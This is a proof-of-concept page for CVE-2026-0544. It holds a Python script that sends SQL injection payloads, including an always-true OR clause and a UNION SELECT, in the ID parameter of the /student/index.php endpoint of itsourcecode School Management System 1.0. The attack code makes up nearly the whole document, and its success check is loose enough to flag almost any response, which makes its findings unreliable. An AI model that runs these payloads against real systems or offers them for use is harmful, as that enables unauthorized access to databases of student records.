CVE-2026-0544 itsourcecode School Management System SQL注入漏洞

# CVE-2026-0544 SQL Injection PoC # Target: itsourcecode School Management System 1.0 # Endpoint: /student/index.php # Vulnerable Parameter: ID import requests import sys target_url = "http://target-site.com/student/index.php" # Basic SQL Injection test payload payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL-- -", "1' AND 1=1-- -", "1' AND 1=2-- -" ] def test_sql_injection(): print("[*] Testing CVE-2026-0544 SQL Injection") print(f"[*] Target: {target_url}") for payload in payloads: params = {"ID": payload} try: response = requests.get(target_url, params=params, timeout=10) if "error" not in response.text.lower() or response.status_code != 200: print(f"[+] Potential vulnerability with payload: {payload}") except requests.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": test_sql_injection()